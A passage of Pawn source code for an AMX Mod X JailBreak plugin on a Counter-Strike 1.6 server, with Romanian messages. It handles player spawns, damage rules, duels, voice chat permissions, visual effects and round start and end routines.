        write_byte(0)  // G
        write_byte(0)  // B
        write_byte(0) // SD
        write_byte(0)  // ED
        write_byte(0)  // D1
        write_byte(0)  // D2
        message_end()
}

public fw_PlayerPreThink(id)
{
        if(g_GameMode <= 0)
        {
                if(g_PlayerLast || g_LastDenied)
                {
                        if(is_user_alive(id) && is_user_connected(id))
                        {
                                set_user_maxspeed(id, 250.0)
                                set_user_noclip(id, 0)
                                set_user_godmode(id, 0)
                                set_user_gravity(id, 1.0)
                        }

                        return PLUGIN_HANDLED
                }
        }

        return FMRES_IGNORED;
}

stock sw_kill( Killer, Victim, ScoreBoard, const Weapon[  ] )
{
        set_msg_block( get_user_msgid( "DeathMsg" ), BLOCK_SET );

        ExecuteHamB( Ham_Killed, Victim, Killer, 0 );

        set_msg_block( get_user_msgid( "DeathMsg" ), BLOCK_NOT );

        make_deathmsg( Killer, Victim, 0, Weapon );

        if( ScoreBoard )
        {
                message_begin( MSG_BROADCAST, get_user_msgid( "ScoreInfo" ) );
                write_byte( Killer );
                write_short( pev( Killer, pev_frags ) );
                write_short( get_user_deaths( Killer ) );
                write_short( 0 );
                write_short( get_user_team( Killer ) );
                message_end(  );

                message_begin( MSG_BROADCAST, get_user_msgid( "ScoreInfo" ) );
                write_byte( Victim );
                write_short( pev( Victim, pev_frags ) );
                write_short( get_user_deaths( Victim ) );
                write_short( 0 );
                write_short( get_user_team( Victim ) );
                message_end(  );
        }

        if(cs_get_user_team(Victim) == CS_TEAM_T && get_bit(check_bteam, Victim))
        {
                check_blueteam--;
                if(check_blueteam == 0)
                        user_kills()
        }
        else if(cs_get_user_team(Victim) == CS_TEAM_T && get_bit(check_rteam, Victim))
        {
                check_redteam--;
                if(check_redteam == 0)
                        user_killss()
        }
}

stock create_blood(const Float:origin[3])
{
        // Show some blood :)
        message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
        write_byte(TE_BLOODSPRITE)
        engfunc(EngFunc_WriteCoord, origin[0])
        engfunc(EngFunc_WriteCoord, origin[1])
        engfunc(EngFunc_WriteCoord, origin[2])
        write_short(m_iBlood[1])
        write_short(m_iBlood[0])
        write_byte(75)
        write_byte(5)
        message_end()
}

stock fm_get_aimorigin(index, Float:origin[3])
{
        new Float:start[3], Float:view_ofs[3];
        pev(index, pev_origin, start);
        pev(index, pev_view_ofs, view_ofs);
        xs_vec_add(start, view_ofs, start);

        new Float:dest[3];
        pev(index, pev_v_angle, dest);
        engfunc(EngFunc_MakeVectors, dest);
        global_get(glb_v_forward, dest);
        xs_vec_mul_scalar(dest, 9999.0, dest);
        xs_vec_add(start, dest, dest);

        engfunc(EngFunc_TraceLine, start, dest, 0, index, 0);
        get_tr2(0, TR_vecEndPos, origin);

        return 1;
}

stock user_rendering(id, iRenderFx, Float:flRed, Float:flGreen, Float:flBlue, iRenderMode,  Float:flRenderAmt)
{
        new Float:fRenderColor[3];
        fRenderColor[0] = flRed;
        fRenderColor[1] = flGreen;
        fRenderColor[2] = flBlue;
        set_pev(id, pev_renderfx, iRenderFx);
        set_pev(id, pev_rendercolor, fRenderColor);
        set_pev(id, pev_rendermode, iRenderMode);
        set_pev(id, pev_renderamt, flRenderAmt);
}

stock Fade(index, red, green, blue, alpha)
{
        message_begin(MSG_ONE,get_user_msgid("ScreenFade"),{0,0,0},index);
        write_short(1<<10);
        write_short(1<<10);
        write_short(1<<12);
        write_byte(red);
        write_byte(green);
        write_byte(blue);
        write_byte(alpha);
        message_end();
}

public players_aura(taskid)
{
        // Get player's origin
        static origin[3]
        get_user_origin(ID_AURA, origin)

        // Colored Aura
        message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
        write_byte(TE_DLIGHT) // TE id
        write_coord(origin[0]) // x
        write_coord(origin[1]) // y
        write_coord(origin[2]) // z
        write_byte(20) // radius
        write_byte(get_pcvar_num(cvar_players_aura_color_R)) // r
        write_byte(get_pcvar_num(cvar_players_aura_color_G)) // g
        write_byte(get_pcvar_num(cvar_players_aura_color_B)) // b
        write_byte(2) // life
        write_byte(0) // decay rate
        message_end()
}

public Timer()
{
        new szPlayers[32]
        new szNum, szPlayer

        get_players(szPlayers, szNum)
        for(new i; i < szNum; i++)
        {
                szPlayer = szPlayers[i]
                if(!is_user_alive(szPlayer) || !is_user_connected(szPlayer))
                        continue

                if(g_GameMode == 15)
                {
                        if(cs_get_user_team(szPlayer) == CS_TEAM_CT)
                        {
                                szPlayerCT[szPlayer] = false

                                set_pev(szPlayer, pev_flags, pev(szPlayer, pev_flags) & ~FL_FROZEN)

                                new Float:szSpeed
                                szSpeed = get_pcvar_float( g_Cvar[4] )
                                set_user_maxspeed(szPlayer, szSpeed)

                                new Float:szGravity
                                szGravity = get_pcvar_float( g_Cvar[5] )
                                set_user_gravity(szPlayer, szGravity)
                        }
                }
        }
}

public tagday_end(taskid)
{
        new Touched = taskid - 22838
        if(tagday[Touched]) tagday[Touched] = false
        remove_task(Touched + 22838)
}

public TouchKill(id)
{
        if(szPlayerCaught[id] && szPlayerTime[id] > 0)
        {
                --szPlayerTime[id]
                set_task(1.0, "TouchKill", id)
        }
        else
        {
                set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN)
                user_kill(id)
        }
}

public PrisoneInformer(id)
{
        if(szHelpNum > 0)
        {
                szHelpNum = 0

                static n
                new szText[512], szFormat[512]

                n = 0
                n = strlen(szText)

                new szPlayers[32]
                new szNum, szPlayer

                get_players(szPlayers, szNum)
                for(new i; i < szNum; i++)
                {
                        szPlayer = szPlayers[i]
                        if(szPlayerCaught[szPlayer])
                        {
                                if(szPlayerTime[szPlayer] >= 1)
                                {
                                        new szName[32]
                                        get_user_name(szPlayer, szName, charsmax( szName ))

                                        n += copy(szText[n], charsmax( szText ) - n, "^n^t")

                                        formatex(szFormat, charsmax( szFormat ), "  %s [%i]", szName, szPlayerTime[szPlayer])
                                        n += copy(szText[n], charsmax( szText ) - n, szFormat)

                                        ++szHelpNum
                                }
                        }
                }

                set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), 0.0, 0.6, 0, 6.0, 1.0)
                ShowSyncHudMsg(0, g_syncHudMessage, "Inghetati:  [%d] ^n%s", szHelpNum, szText)
        }
}

stock CREATE_SPRITETRAIL(const Float:fOrigin[3], pSprite, iCount, iLife, iScale, iVelocityAlongVector, iRandomVelocity)
{
        message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
        write_byte(TE_SPRITETRAIL);
        engfunc(EngFunc_WriteCoord, fOrigin[0]);
        engfunc(EngFunc_WriteCoord, fOrigin[1]);
        engfunc(EngFunc_WriteCoord, fOrigin[2]);
        engfunc(EngFunc_WriteCoord, fOrigin[0]);
        engfunc(EngFunc_WriteCoord, fOrigin[1]);
        engfunc(EngFunc_WriteCoord, fOrigin[2]);
        write_short(pSprite);
        write_byte(iCount);
        write_byte(iLife); // 0.1's
        write_byte(iScale);
        write_byte(iVelocityAlongVector);
        write_byte(iRandomVelocity);
        message_end();
}

stock CREATE_BREAKMODEL(const Float:fOrigin[3], Float:fSize[3] = {16.0, 16.0, 16.0}, Float:fVelocity[3] = {25.0, 25.0, 25.0}, iRandomVelocity, pModel, iCount, iLife, iFlags)
{
        message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
        write_byte(TE_BREAKMODEL);
        engfunc(EngFunc_WriteCoord, fOrigin[0]);
        engfunc(EngFunc_WriteCoord, fOrigin[1]);
        engfunc(EngFunc_WriteCoord, fOrigin[2] + 24);
        engfunc(EngFunc_WriteCoord, fSize[0]);
        engfunc(EngFunc_WriteCoord, fSize[1]);
        engfunc(EngFunc_WriteCoord, fSize[2]);
        engfunc(EngFunc_WriteCoord, fVelocity[0]);
        engfunc(EngFunc_WriteCoord, fVelocity[1]);
        engfunc(EngFunc_WriteCoord, fVelocity[2]);
        write_byte(iRandomVelocity);
        write_short(pModel);
        write_byte(iCount); // 0.1's
        write_byte(iLife); // 0.1's
        write_byte(iFlags);
        message_end();
}
/*========================================================
                        END DaysMenu
========================================================*/

public player_spawn(id)
{
        static CsTeams:team

        if(!is_user_connected(id))
                return HAM_IGNORED

        set_pdata_float(id, m_fNextHudTextArgsGameTime, get_gametime() + 999999.0)
        player_strip_weapons(id)

        ChekWeaponAmount[id] = 3
        is_freezed[id] = 0
        g_SimonAllowed = 1
        g_BlockWeapons = 0
        g_FreedayNext = 0
        g_isDay = false
        secundeday = 0
        g_GameMode = 0
        g_HNSCount = 0
        PlayDuel = false

        set_user_maxspeed(id, 250.0)
        set_user_noclip(id, 0)
        set_user_godmode(id, 0)
        set_user_gravity(id, 1.0)

        set_cvar_string("jbe_shop", "1");
        set_cvar_string("jbe_camera", "1");
        set_cvar_string("sv_parachute", "1");
        set_cvar_string("jbe_blockweaponmenu", "1");
        set_cvar_string("jb_autojoin", "0");
        set_cvar_string("jb_dayss", "");

        if (get_pcvar_num(cvar_players_aura))
                remove_task(id+TASK_AURA)

        if(g_RoundEnd)
        {
                g_RoundEnd = 0
                jbe_set_day_week(++g_JailDay);
        }

        set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)

        clear_bit(g_PlayerCrowbar, id)
        clear_bit(g_PlayerWanted, id)
        team = cs_get_user_team(id)

        switch(team)
        {
                case(CS_TEAM_T):
                {
                        g_PlayerLast = 0
                        if(!g_PlayerReason[id])
                                g_PlayerReason[id] = random_num(1, 6)

                        player_hudmessage(id, 0, 5.0, {255, 0, 255}, "%L %L", LANG_SERVER, "JBE_PRISONER_REASON",
                                LANG_SERVER, g_Reasons[g_PlayerReason[id]])

                        if(get_user_flags(id) & read_flags(VIP_ACCES))
                                set_user_info(id, "model", "Play_Arena_VipT")
                        else
                        {
                                set_user_info(id, "model", "jb_pa_player")
                                entity_set_int(id, EV_INT_body, 2)
                                entity_set_int(id, EV_INT_skin, random_num(0, 2))
                        }

                        if(is_freeday() || get_bit(g_FreedayAuto, id))
                        {
                                freeday_set(0, id)
                                clear_bit(g_FreedayAuto, id)
                        }
                        else
                                entity_set_int(id, EV_INT_skin, random_num(0, 2))

                        if(g_CrowbarCount < get_pcvar_num(gp_CrowbarMax))
                        {
                                if(random_num(0, g_MaxClients) > (g_MaxClients / 2))
                                {
                                        g_CrowbarCount++
                                        set_bit(g_PlayerCrowbar, id)
                                }
                        }

                        player_strip_weapons(id)
                        cs_set_user_armor(id, 0, CS_ARMOR_NONE)
                }
                case(CS_TEAM_CT):
                {
                        g_PlayerSimon[id]++

                        if(get_user_flags(id) & read_flags(VIP_ACCES))
                                set_user_info(id, "model", "Play_Arena_VipCT")
                        else
                        {
                                set_user_info(id, "model", "jb_pa_player")
                                entity_set_int(id, EV_INT_body, 3)
                        }

                        give_item(id, "weapon_knife")
                        engclient_cmd(id, "weapon_knife")

                        set_pev(id, pev_viewmodel2, v_Bulan)
                        set_pev(id, pev_weaponmodel2, p_Bulan)

                        cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM)
                        fm_give_item(id, "weapon_deagle")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 35)
                }
        }

        user[id] = false
        //first_join(id)

        return HAM_IGNORED
}

public player_damage(victim, ent, attacker, Float:damage, DamageType, bits)
{
        if(get_user_team(attacker) == get_user_team(victim) && bits & DMG_HEGRENADE )
                return HAM_IGNORED

        if(!is_user_connected(attacker) || get_user_weapon(attacker) != CSW_KNIFE)
                return HAM_IGNORED

        if(is_user_connected(attacker) && is_user_connected(victim))
                if(victim == attacker)
                        if(DamageType & DMG_HEGRENADE)
                                return HAM_SUPERCEDE

        switch(g_Duel)
        {
                case(0):
                {
                        if(attacker == ent && get_user_weapon(attacker) == CSW_KNIFE && get_bit(g_PlayerCrowbar, attacker) && cs_get_user_team(victim) != CS_TEAM_T)
                        {
                                SetHamParamFloat(4, damage * gc_CrowbarMul)
                                return HAM_OVERRIDE
                        }
                }
                case(2):
                {
                        if(attacker != g_PlayerLast)
                                return HAM_SUPERCEDE
                }
                default:
                {
                        if((victim == g_PlayerDuelT && attacker == g_PlayerDuelCT) || (victim == g_PlayerDuelCT && attacker == g_PlayerDuelT))
                                return HAM_IGNORED

                        return HAM_SUPERCEDE
                }
        }

        return HAM_IGNORED
}

public player_attack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damagebits)
{
        static CsTeams:vteam, CsTeams:ateam
        if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker)
                return HAM_IGNORED

        vteam = cs_get_user_team(victim)
        ateam = cs_get_user_team(attacker)

        if(ateam == CS_TEAM_CT && vteam == CS_TEAM_CT)
                return HAM_SUPERCEDE

        switch(g_Duel)
        {
                case(0):
                {
                        if(ateam == CS_TEAM_CT && vteam == CS_TEAM_T)
                        {
                                if(get_bit(g_PlayerRevolt, victim))
                                        clear_bit(g_PlayerRevolt, victim)

                                return HAM_IGNORED
                        }
                }
                case(2):
                {
                        if(attacker != g_PlayerLast)
                                return HAM_SUPERCEDE
                }
                default:
                {
                        if((victim == g_PlayerDuelT && attacker == g_PlayerDuelCT) || (victim == g_PlayerDuelCT && attacker == g_PlayerDuelT))
                                return HAM_IGNORED

                        return HAM_SUPERCEDE
                }
        }

        /*if(ateam == CS_TEAM_T && vteam == CS_TEAM_T && g_BoxStarted)
        {
                if(get_knife1(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 30)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-30 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
                else if(get_knife2(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 60)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-60 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
                else if(get_knife3(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 80)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-80 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
                else if(!get_knife1(attacker) && !get_knife2(attacker) && !get_knife3(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 25)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-25 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
        }*/

        if(ateam == CS_TEAM_T && vteam == CS_TEAM_T && !g_BoxStarted)
                return HAM_SUPERCEDE

        if(ateam == CS_TEAM_T && vteam == CS_TEAM_CT)
        {
                if(!g_PlayerRevolt)
                        revolt_start()

                set_bit(g_PlayerRevolt, attacker)
        }

        return HAM_IGNORED
}

public button_attack(button, id, Float:damage, Float:direction[3], tracehandle, damagebits)
{
        if(is_valid_ent(button) && gc_ButtonShoot)
        {
                ExecuteHamB(Ham_Use, button, id, 0, 2, 1.0)
                entity_set_float(button, EV_FL_frame, 0.0)
        }

        return HAM_IGNORED
}

public player_killed(victim, attacker, shouldgib)
{
        static CsTeams:vteam, CsTeams:kteam
        if(!(0 < attacker <= g_MaxClients) || !is_user_connected(attacker))
                kteam = CS_TEAM_UNASSIGNED
        else
                kteam = cs_get_user_team(attacker)

        vteam = cs_get_user_team(victim)

        if(g_Simon == victim)
        {
                g_Simon = 0
                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jbkill.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
        }

        if(get_pcvar_num(cvar_players_aura))
                remove_task(victim+TASK_AURA)

        if(cs_get_user_team(victim) == CS_TEAM_T && get_bit(check_bteam, victim))
                check_blueteam--;
        else if(cs_get_user_team(victim) == CS_TEAM_T && get_bit(check_rteam, victim))
                check_redteam--;

        switch(g_Duel)
        {
                case(0):
                {
                        switch(vteam)
                        {
                                case(CS_TEAM_CT):
                                {
                                        if(kteam == CS_TEAM_T && !get_bit(g_PlayerWanted, attacker))
                                        {
                                                set_bit(g_PlayerWanted, attacker)
                                               
                                                if(g_GameMode == 1)
                                                {
                                                        set_bit(g_PlayerWanted, attacker)

                                                        set_user_info(attacker, "model", "jb_pa_zombie")
                                                        entity_set_int(attacker, EV_INT_skin, 1)
                                                        player_glow(attacker, g_Colors[3])
                                                }
                                                else
                                                {
                                                        if(get_user_flags(attacker) & read_flags(VIP_ACCES))
                                                        {
                                                                set_user_info(attacker, "model", "Play_Arena_VipT")
                                                                player_glow(attacker, g_Colors[3])
                                                        }
                                                        else
                                                        {
                                                                set_user_info(attacker, "model", "jb_pa_player")
                                                                entity_set_int(attacker, EV_INT_skin, 4)
                                                        }
                                                }
                                        }
                                }
                                case(CS_TEAM_T):
                                {
                                        clear_bit(g_PlayerRevolt, victim)
                                        clear_bit(g_PlayerWanted, victim)
                                }
                        }
                }
                default:
                {
                        if (vteam == CS_TEAM_T)
                        {
                                if(task_exists(TASK_LAST))
                                        remove_task(TASK_LAST)

                                set_cvar_string("jbe_shop", "0");

                                set_task(2.1, "task_last_duel", TASK_LAST)
                        }

                        if(g_Duel != 2 && (attacker == g_PlayerDuelT || attacker == g_PlayerDuelCT || victim == g_PlayerDuelT || victim == g_PlayerDuelCT))
                        {
                                //set_user_rendering(victim, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                set_user_rendering(attacker, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                duel_end()

                                g_PlayerLast = 0
                                g_Duel = 0
                                team_count()
                        }
                }
        }

        return HAM_IGNORED
}

public player_touchweapon(id, ent)
{
        static model[32], class[32]

        if(g_BlockWeapons)
                return HAM_SUPERCEDE

        if(is_valid_ent(id) && is_user_alive(ent) && cs_get_user_team(ent) != CS_TEAM_CT && cs_get_user_team(ent) != CS_TEAM_T)
        {
                entity_get_string(id, EV_SZ_model, model, charsmax(model))
                if(model[7] == 'w' && model[9] == 'h' && model[10] == 'e' && model[11] == 'g')
                {
                        entity_get_string(id, EV_SZ_classname, class, charsmax(class))

                        if(equal(class, "weapon_hegrenade"))
                                remove_entity(id)

                        return HAM_SUPERCEDE
                }
        }

        return HAM_IGNORED
}

public set_client_kv(id, const info[], const key[])
{
        if(equal(key, "model"))
                return FMRES_SUPERCEDE

        return FMRES_IGNORED
}

public sound_emit(id, channel, sample[])
{
        if(is_user_alive(id) && equal(sample, "weapons/knife_", 14))
        {
                switch(sample[17])
                {
                        case('b'): emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        case('w'): emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod1.wav", 1.0, ATTN_NORM, 0, PITCH_LOW)
                        case('1', '2'): emit_sound(id, CHAN_WEAPON, "weapons/bullet_hit2.wav", random_float(0.5, 1.0), ATTN_NORM, 0, PITCH_NORM)
                }

                return FMRES_SUPERCEDE
        }

        return FMRES_IGNORED
}

public voice_listening(receiver, sender, bool:listen)
{
        if((receiver == sender))
                return FMRES_IGNORED

        if(!is_user_connected(sender) || !is_user_connected(receiver))
                return FMRES_IGNORED

        if(get_user_flags(sender) & read_flags(VIP_ACCES) || get_user_flags(sender) & read_flags("b"))
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, true)
                return FMRES_SUPERCEDE
        }

        switch(gc_VoiceBlock)
        {
                case(2):
                {
                        if((sender != g_Simon) && (!get_bit(g_SimonVoice, sender) && gc_VoiceBlock))
                        {
                                engfunc(EngFunc_SetClientListening, receiver, sender, false)
                                return FMRES_SUPERCEDE
                        }
                }
                case(1):
                {
                        if(!get_bit(g_SimonVoice, sender) && gc_VoiceBlock)
                        {
                                engfunc(EngFunc_SetClientListening, receiver, sender, false)
                                return FMRES_SUPERCEDE
                        }
                }
        }

        if(!is_user_alive(sender))
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, false)
                return FMRES_SUPERCEDE
        }

        if(sender == g_Simon)
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, true)
                return FMRES_SUPERCEDE
        }

        listen = true

        if(g_SimonTalking && (sender != g_Simon))
                listen = false
        else
        {
                static CsTeams:steam
                steam = cs_get_user_team(sender)

                switch(gc_TalkMode)
                {
                        case(2): listen = (steam == CS_TEAM_CT)
                        case(1): listen = (steam == CS_TEAM_CT || steam == CS_TEAM_T)
                }
        }

        //Player Voice
        if(get_bit(g_PlayerVoice, sender) && is_user_alive(sender))
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, true)
                return FMRES_SUPERCEDE
        }

        engfunc(EngFunc_SetClientListening, receiver, sender, listen)
        return FMRES_SUPERCEDE
}

public round_first()
{
        g_JailDay = 0
        for(new i = 1; i <= g_MaxClients; i++)
                g_PlayerSimon[i] = 0

        set_cvar_num("sv_alltalk", 0)
        set_cvar_num("mp_roundtime", 3)
        set_cvar_num("mp_limitteams", 0)
        set_cvar_num("mp_autoteambalance", 0)

        round_end()
}

public jbe_set_day_week(iWeek)
        g_JailDay = (g_JailDay > 6) ? 1 : iWeek;

public round_start()
{
        if(g_RoundEnd)
                return

        new JailDay[256]

        switch(g_JailDay)
        {
                case 0: formatex(JailDay, charsmax(JailDay), "Luni")
                case 1: formatex(JailDay, charsmax(JailDay), "Luni")
                case 2: formatex(JailDay, charsmax(JailDay), "Marti")
                case 3: formatex(JailDay, charsmax(JailDay), "Miercuri")
                case 4: formatex(JailDay, charsmax(JailDay), "Joi")
                case 5: formatex(JailDay, charsmax(JailDay), "Vineri")
                case 6: formatex(JailDay, charsmax(JailDay), "Sambata")
                case 7: formatex(JailDay, charsmax(JailDay), "Duminica")
        }

        team_count()

        if(!g_Simon && is_freeday())
        {
                g_Freeday = 1
                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                check_freeday(TASK_FREEDAY)
        }
        else
                set_task(60.0, "check_freeday", TASK_FREEDAY)

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i))
                        continue

                set_user_maxspeed(i, 250.0)
                set_user_noclip(i, 0)
                set_user_godmode(i, 0)
                set_user_gravity(i, 1.0)

                remove_task(TASK_FADE)
                user[i] = false

                set_hudmessage(random_num( 1, 255 ), random_num( 1, 255 ), random_num( 1, 255 ), -1.0, 0.71, 2, 6.0, 3.0, 0.1, 1.5);
                show_hudmessage(i, "[ Astazi este %s ]^n[ Trezirea ]", JailDay);
        }

        set_task(120.0, "freeday_end", TASK_FREEDAY)

        g_SimonAllowed = 1
        g_BlockWeapons = 0
        g_FreedayNext = 0
        g_isDay = false
        secundeday = 0
        g_GameMode = 0
        g_HNSCount = 0
        PlayDuel = false
        remove_task(TASK_FADE)

        set_cvar_string("jbe_shop", "1");
        set_cvar_string("jbe_camera", "1");
        set_cvar_string("sv_parachute", "1");
        set_cvar_string("jbe_blockweaponmenu", "1");
        set_cvar_string("jb_autojoin", "0");
        set_cvar_string("jb_dayss", "");

        inround = 0
        if(g_TeamCount[CS_TEAM_T] > 0 && g_TeamCount[CS_TEAM_CT] > 0)
                set_task(1.0, "CnT", TASK_SHOWTEAMMENU_TIMER, _, _, "b")

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)
}

public round_end()
{
        static CsTeams:team
        static spectrounds

        g_PlayerRevolt = 0
        g_PlayerFreeday = 0
        g_PlayerLast = 0
        g_BoxStarted = 0
        g_Simon = 0
        g_CrowbarCount = 0
        g_SimonAllowed = 0
        g_RoundStarted = 0
        g_LastDenied = 0
        g_BlockWeapons = 0
        g_TeamCount[CS_TEAM_T] = 0
        g_TeamCount[CS_TEAM_CT] = 0
        g_Freeday = 0
        g_FreedayNext = (random_num(0,99) >= 95)
        g_RoundEnd = 1
        g_Duel = 0
        g_PlayerLast = 0
        PlayDuel = false

        //remove_task(TASK_STATUS)
        remove_task(TASK_FREEDAY)
        remove_task(TASK_FREEEND)
        remove_task(TASK_ROUND)

        spectrounds = get_pcvar_num(gp_SpectRounds)

        duel_end()

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i))
                        continue

                szPlayerCT[i] = false
                szPlayerCaught[i] = false
                szPlayerTime[i] = 0
                g_GameMode = 0
                secundeday = 0

                set_user_maxspeed(i, 250.0)
                set_user_noclip(i, 0)
                set_user_godmode(i, 0)
                set_user_gravity(i, 1.0)

                set_lights("#OFF");

                set_cvar_string("mp_friendlyfire", "0");
                set_cvar_string("jb_autojoin", "0");

                g_isDay = false
                set_cvar_string("jb_dayss", "");

                set_user_hitzones(0, 0, 255)

                nofog()

                if(task_exists(TASK_GANGDAY))
                        remove_task(TASK_GANGDAY);

                clear_bit(check_bteam, i);
                clear_bit(check_rteam, i);
                check_blueteam = 0;
                check_redteam = 0;

                set_cvar_string("jbe_shop", "1");
                set_cvar_string("jbe_camera", "1");
                set_cvar_string("sv_parachute", "1");
                set_cvar_string("jbe_blockweaponmenu", "1");
                set_cvar_string("jb_autojoin", "0");
                set_cvar_string("jb_dayss", "");

                remove_task(TASK_FADE)

                set_task(0.6, "end_fadescreen", TASK_FADE)

                menu_cancel(i)
                team = cs_get_user_team(i)

                player_strip_weapons(i)

                switch(team)
                {
                        case(CS_TEAM_SPECTATOR,CS_TEAM_UNASSIGNED):
                        {
                                g_PlayerSpect[i]++
                                if(g_PlayerSpect[i] > spectrounds)
                                {
                                        client_cmd(i, "disconnect")
                                        server_print("JBE Disconnected spectator client #%i", i)
                                }
                        }
                }
        }

        for(new i = 0; i < sizeof(g_HudSync); i++)
                ClearSyncHud(0, g_HudSync[i][_hudsync])
}

public end_fadescreen()
{
        for(new i = 1; i <= g_MaxClients; i++)
        {
                set_hudmessage(random_num( 1, 255 ), random_num( 1, 255 ), random_num( 1, 255 ), -1.0, 0.71, 2, 6.0, 3.0, 0.1, 1.5);
                show_hudmessage(i, "****^n [ Ziua a luat Sfarsit ]^n [ Toata lumea la Somn ]^n *****");
        }

        message_begin(MSG_BROADCAST, get_user_msgid("ScreenFade"))
        write_short(12288)
        write_short(12288)
        write_short(0x0001)
        write_byte(0)
        write_byte(0)
        write_byte(0)
        write_byte(255)
        message_end()
}

public cmd_voiceon(id)
{
        client_cmd(id, "+voicerecord")
        set_bit(g_SimonVoice, id)
        if(g_Simon == id || is_user_admin(id))
                set_bit(g_SimonTalking, id)

        return PLUGIN_HANDLED
}

public cmd_voiceoff(id)
{
        client_cmd(id, "-voicerecord")
        clear_bit(g_SimonVoice, id)
        if(g_Simon == id || is_user_admin(id))
                clear_bit(g_SimonTalking, id)

        return PLUGIN_HANDLED
}

public cmd_simon(id)
{
        if(!is_user_connected(id))
                return PLUGIN_HANDLED

        static CsTeams:team, name[32]

        team = cs_get_user_team(id)

        if(g_SimonAllowed && !g_Freeday && is_user_alive(id) && team == CS_TEAM_CT && !g_Simon)
        {
                g_Simon = id
                get_user_name(id, name, charsmax(name))
                set_pev(id, pev_body, 1)
                g_PlayerSimon[id]--

                set_user_info(id, "model", "jb_pa_player")
                entity_set_int(id, EV_INT_body, 1)

                ChekWeaponAmount[id] = 3

                client_print( id, print_chat, "*** Acum este simon, da-le comenzi PRIZONIERILOR ! ***");
                cmd_simonmenu(id)
        }

        return PLUGIN_HANDLED
}

public cmd_open(id)
{
        if(id == g_Simon)
        {
                jail_open()

                new name[32]
                get_user_name(g_Simon, name, charsmax(name))
                set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
                show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_SIMON", name)

                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
        }
        else if(g_Freeday)
        {
                if(is_user_alive(id) && is_user_connected(id))
                {
                        if(get_user_team(id) == 2)
                        {
                                jail_open()

                                new name[32]
                                get_user_name(id, name, 63)
                                set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
                                show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_GUARD", name)

                                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        }
                }
